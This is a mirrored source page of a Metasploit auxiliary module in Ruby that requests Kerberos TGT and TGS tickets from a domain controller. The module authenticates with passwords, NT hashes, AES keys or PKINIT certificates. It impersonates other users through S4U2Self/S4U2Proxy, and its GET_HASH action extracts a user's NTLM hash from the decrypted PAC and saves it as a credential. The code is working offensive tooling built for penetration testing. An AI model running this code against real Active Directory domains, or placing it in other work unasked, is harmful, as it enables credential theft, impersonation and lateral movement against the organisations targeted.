Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/kerberos/get_ticket.rb
21537 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::Kerberos
9
include Msf::Exploit::Remote::Kerberos::Client
10
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Kerberos TGT/TGS Ticket Requester',
17
'Description' => %q{
18
This module requests TGT/TGS Kerberos tickets from the KDC
19
},
20
'Author' => [
21
'Christophe De La Fuente', # Metasploit module
22
'Spencer McIntyre', # Metasploit module
23
# pkinit authors
24
'Will Schroeder', # original idea/research
25
'Lee Christensen', # original idea/research
26
'Oliver Lyak', # certipy implementation
27
'smashery' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'Notes' => {
31
'AKA' => ['getTGT', 'getST'],
32
'Stability' => [ CRASH_SAFE ],
33
'SideEffects' => [ ],
34
'Reliability' => [ ]
35
},
36
'Actions' => [
37
[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],
38
[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
39
[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
40
],
41
'DefaultAction' => 'GET_TGT',
42
'AKA' => ['PKINIT']
43
)
44
)
45
46
register_options(
47
[
48
OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),
49
OptString.new('USERNAME', [ false, 'The domain user' ]),
50
OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),
51
OptPkcs12Cert.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),
52
OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),
53
OptString.new(
54
'NTHASH', [
55
false,
56
'The NT hash in hex string. Server must support RC4'
57
]
58
),
59
OptString.new(
60
'AES_KEY', [
61
false,
62
'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'
63
]
64
),
65
OptString.new(
66
'SPN', [
67
false,
68
'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'
69
],
70
conditions: %w[ACTION == GET_TGS]
71
),
72
OptString.new(
73
'IMPERSONATE', [
74
false,
75
'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
76
],
77
conditions: %w[ACTION == GET_TGS]
78
),
79
OptKerberosCredentialCache.new(
80
'Krb5Ccname', [
81
false,
82
'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'
83
],
84
conditions: %w[ACTION == GET_TGS]
85
),
86
]
87
)
88
89
deregister_options('KrbCacheMode')
90
end
91
92
def validate_options
93
if datastore['CERT_FILE'].present?
94
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
95
@pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]
96
97
if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
98
fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
99
elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?
100
fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')
101
end
102
103
begin
104
@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])
105
rescue ArgumentError => e
106
fail_with(Failure::BadConfig, e.message)
107
end
108
else # USERNAME and DOMAIN are required when they can't be extracted from the certificate
109
@username = datastore['USERNAME']
110
fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?
111
112
@realm = datastore['DOMAIN']
113
fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?
114
end
115
116
if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)
117
fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')
118
end
119
120
if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)
121
fail_with(Failure::BadConfig,
122
'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')
123
end
124
125
if action.name == 'GET_TGS' && datastore['SPN'].blank?
126
fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")
127
end
128
129
if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?
130
fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")
131
end
132
133
if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})
134
fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')
135
end
136
end
137
138
def run
139
validate_options
140
141
result = send("action_#{action.name.downcase}")
142
143
report_service(
144
host: rhost,
145
port: rport,
146
proto: 'tcp',
147
name: 'kerberos',
148
info: "Module: #{fullname}, KDC for domain #{@realm}"
149
)
150
151
result
152
rescue ::Rex::ConnectionError => e
153
elog('Connection error', error: e)
154
fail_with(Failure::Unreachable, e.message)
155
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,
156
::EOFError => e
157
msg = e.to_s
158
if e.respond_to?(:error_code) &&
159
e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
160
msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'
161
end
162
fail_with(Failure::Unknown, msg)
163
end
164
165
def init_authenticator(options = {})
166
options.merge!({
167
host: rhost,
168
realm: @realm,
169
username: @username,
170
pfx: @pfx,
171
framework: framework,
172
framework_module: self
173
})
174
options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?
175
if datastore['NTHASH'].present?
176
options[:key] = [datastore['NTHASH']].pack('H*')
177
options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]
178
end
179
if datastore['AES_KEY'].present?
180
options[:key] = [ datastore['AES_KEY'] ].pack('H*')
181
options[:offered_etypes] = if options[:key].size == 32
182
[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]
183
else
184
[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]
185
end
186
end
187
188
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
189
end
190
191
def action_get_tgt
192
print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")
193
194
# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made
195
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
196
authenticator.request_tgt_only
197
end
198
199
def action_get_tgs
200
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })
201
tgt_request_options = {}
202
if datastore['Krb5Ccname'].present?
203
tgt_request_options[:cache_file] = datastore['Krb5Ccname']
204
end
205
credential = authenticator.request_tgt_only(tgt_request_options)
206
207
if datastore['IMPERSONATE'].present?
208
print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")
209
210
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
211
name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,
212
name_string: [@username]
213
)
214
auth_options = {
215
sname: sname,
216
impersonate: datastore['IMPERSONATE']
217
}
218
tgs_ticket, _tgs_auth = authenticator.s4u2self(
219
credential,
220
auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
221
)
222
223
auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(
224
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
225
name_string: datastore['SPN'].split('/')
226
)
227
auth_options[:tgs_ticket] = tgs_ticket
228
authenticator.s4u2proxy(credential, auth_options)
229
else
230
print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")
231
232
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
233
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
234
name_string: datastore['SPN'].split('/')
235
)
236
tgs_options = {
237
sname: sname,
238
ticket_storage: kerberos_ticket_storage(read: false)
239
}
240
241
authenticator.request_tgs_only(credential, tgs_options)
242
end
243
end
244
245
def action_get_hash
246
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
247
auth_context = authenticator.authenticate_via_kdc(options)
248
credential = auth_context[:credential]
249
250
print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")
251
252
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
253
type: credential.keyblock.enctype.value,
254
value: credential.keyblock.data.value
255
)
256
257
tgs_ticket, _tgs_auth = authenticator.u2uself(credential)
258
259
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
260
tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
261
)
262
value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
263
pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
264
pac_info_buffer = pac.pac_info_buffers.find do |buffer|
265
buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
266
end
267
unless pac_info_buffer
268
print_error('NTLM hash not found in PAC')
269
return
270
end
271
272
serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])
273
ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
274
print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")
275
276
report_ntlm(ntlm_hash)
277
ntlm_hash
278
end
279
280
def report_ntlm(hash)
281
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
282
service_data = {
283
address: rhost,
284
port: rport,
285
service_name: 'kerberos',
286
protocol: 'tcp',
287
workspace_id: myworkspace_id
288
}
289
credential_data = {
290
module_fullname: fullname,
291
origin_type: :service,
292
private_data: hash,
293
private_type: :ntlm_hash,
294
jtr_format: jtr_format,
295
username: @username,
296
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
297
realm_value: @realm
298
}.merge(service_data)
299
300
credential_core = create_credential(credential_data)
301
302
login_data = {
303
core: credential_core,
304
status: Metasploit::Model::Login::Status::UNTRIED
305
}.merge(service_data)
306
307
create_credential_login(login_data)
308
end
309
end
310
311